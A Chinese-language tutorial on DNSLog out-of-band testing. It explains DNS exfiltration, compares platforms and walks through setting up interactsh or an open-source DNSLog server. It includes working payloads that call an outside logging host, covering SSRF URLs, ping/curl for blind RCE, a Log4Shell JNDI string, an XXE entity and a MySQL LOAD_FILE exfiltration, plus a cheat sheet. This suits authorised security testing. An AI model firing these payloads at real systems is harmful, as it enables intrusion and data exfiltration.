下面给你一篇 最详细、从原理到搭建再到实战使用的 DNSLog 工具教程,真正做到零基础→精通,一篇就够。
内容结构如下:
- DNSLog 是什么?为什么安全测试离不开它
- DNS 外带(DNS Exfiltration)原理
- DNSLog 工作原理图解
- 主流 DNSLog 平台介绍
- 本地/私有化 DNSLog 搭建(含 Docker)
- 使用方法:漏洞利用 + Payload 示例
- 常见使用场景(含 SSRF / RCE / Blind XXE / Log4j)
- 常见问题与排错
- 给你一份超全 CheatSheet
1️⃣ DNSLog 是什么?
DNSLog = 一个能记录“谁来解析我的域名”的平台。
在安全测试中,经常遇到 盲打漏洞(Blind Vulnerability),也就是:
- 程序执行了漏洞 Payload
- 但没有响应输出
- 也没有报错
- 不知道是否执行成功
例如:
- Blind SSRF
- Blind RCE
- Blind SQL 注入
- Blind XXE
- Log4j JNDI 注入
这些场景都能让漏洞执行外带请求,比如:
DNS、HTTP、LDAP
其中 DNS 最常被使用,因为它:
✔ 不需要 80/443 等端口
✔ 基本被所有服务器允许
✔ 不受防火墙限制
✔ 传输稳定
所以只要目标触发了漏洞,会偷偷向我们的 DNSLog 服务器解析一个域名:
xxx.<random>.dnslog.cn
我们在平台就能看到请求记录,从而确认漏洞被成功利用。
2️⃣ DNS 外带(DNS Exfiltration)原理
DNS 请求会经过目标服务器 → DNS 递归服务器 → 我们的权威 DNS。
流程图:
目标服务器 → 递归DNS → DNSLog 权威服务器 → 返回记录结果
DNSLog 平台做的就是:
- 提供一个你独享的随机域名
- 监控所有对该域名的 DNS 查询日志
- 实时展示在控制台
你只要看到记录 = 漏洞成功触发。
3️⃣ DNSLog 工作原理(图解)
① DNSLog 给你一个子域名
比如:
abcde.dnslog.cn
② 你构造 payload
如 SSRF:
http://evil.com/?x=abcde.dnslog.cn
或 RCE:
ping abcde.dnslog.cn
③ 目标后台执行后发起 DNS 查询
DNSLog 捕获后显示:
2025-11-27 10:23: 192.168.1.10 -> abcde.dnslog.cn
你就知道漏洞“命中”了。
4️⃣ 主流 DNSLog 平台介绍(建议收藏)
| 平台 | 特点 |
|---|---|
| dnslog.cn | 最常用,简单稳定 |
| ceye.io | 支持 DNS / HTTP / RMI,更强大 |
| interactsh (ProjectDiscovery) | 自动化测试神器,支持 API |
| xip.io / nip.io | 可测试 IP 绑定域名 |
| Burp Collaborator | 专业级,需要 Burp Suite Pro |
建议:
- 临时用:dnslog.cn
- 自动化扫描:interactsh
- 企业私有化:自建 DNSLog
5️⃣ 私有化 DNSLog 搭建(推荐 Docker 一键部署)
下面提供 最实用、最稳定的 DNSLog 私有化版本:Interactsh
这是安全圈广泛使用的企业级工具。
🧱 方案 A:Interactsh 一键 Docker 搭建(最推荐)
1. 安装 Docker
apt install docker.io -y # Debian/Ubuntu
yum install docker -y # CentOS/RHEL
2. 运行 Interactsh 服务端
docker run -d \
--name interactsh \
-p 53:53/udp \
-p 53:53/tcp \
-p 80:80 \
-p 443:443 \
ghcr.io/projectdiscovery/interactsh-server:latest
3. 开启客户端
interactsh-client -server <你的服务器IP>
每次运行会分配一个唯一域名,例如:
o19ckp9o.oast.pro
🧱 方案 B:传统 DNSLog 平台搭建(dnslog.cn 开源版)
如果你必须搭 dnslog.cn 那种界面,可以使用开源版:
1. 克隆项目
git clone https://github.com/yumusb/DNSLog-Platform-Golang.git
2. 配置 DNS 解析
将你的二级域名(如 log.example.com)设置为:
NS → 你的服务器IP
A → 你的服务器IP
3. 编译运行
go build
./dnslog
浏览器访问:
http://<你的IP>:8080
即可使用。
6️⃣ DNSLog 实战使用(各种漏洞 Payload)
✔ 1. SSRF 测试
http://target.com/?url=http://abcde.dnslog.cn
服务器若访问,会显示解析记录。
✔ 2. RCE / 命令执行验证
ping abcde.dnslog.cn
curl abcde.dnslog.cn
nslookup abcde.dnslog.cn
✔ 3. Log4j(Log4Shell)漏洞验证
${jndi:ldap://abcde.dnslog.cn/calc}
若触发,会看到 DNS 或 LDAP 请求。
✔ 4. Blind XXE
恶意 DTD 示例:
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://abcde.dnslog.cn">
%ext;
]>
✔ 5. Blind SQL 注入(MySQL)
LOAD_FILE(CONCAT('\\\\',uuid(),'.abcde.dnslog.cn\\test'))
7️⃣ 常见场景与最佳实践
| 漏洞类型 | 使用方式 |
|---|---|
| SSRF | 构造 URL 让服务器发请求 |
| RCE | 构造命令让 shell 执行 ping/curl/nslookup |
| Log4j | 使用 JNDI Payload |
| XXE | 通过 SYSTEM 外带请求 |
| 数据外带(高级) | 把数据编码拼在子域名上 |
8️⃣ 常见问题 FAQ
❓ dnslog.cn 老是卡?
换:
- ceye.io
- interactsh
- Burp Collaborator
❓ 我的 DNSLog 不记录?
可能原因:
- 域名 NS 没配置对
- DNS 缓存(多换几次子域名)
- 端口 53 被运营商封锁(使用云服务器一般不会)
- 防火墙没开放 UDP/TCP 53
❓ 怎么让记录实时自动刷新?
Interactsh 自动推送,无需刷新。
9️⃣ DNSLog CheatSheet(速查表)
| 目的 | Payload 示例 |
|---|---|
| SSRF 检测 | http://xxxx.dnslog.cn |
| 命令执行 | ping xxxx.dnslog.cn |
| XXE | <!ENTITY % x SYSTEM "http://xxxx.dnslog.cn"> %x; |
| Log4j | ${jndi:ldap://xxxx.dnslog.cn/a} |
| SQL 外带 | LOAD_FILE('\\\\data.xxxx.dnslog.cn\\a') |
| 自动化 | 使用 interactsh-client |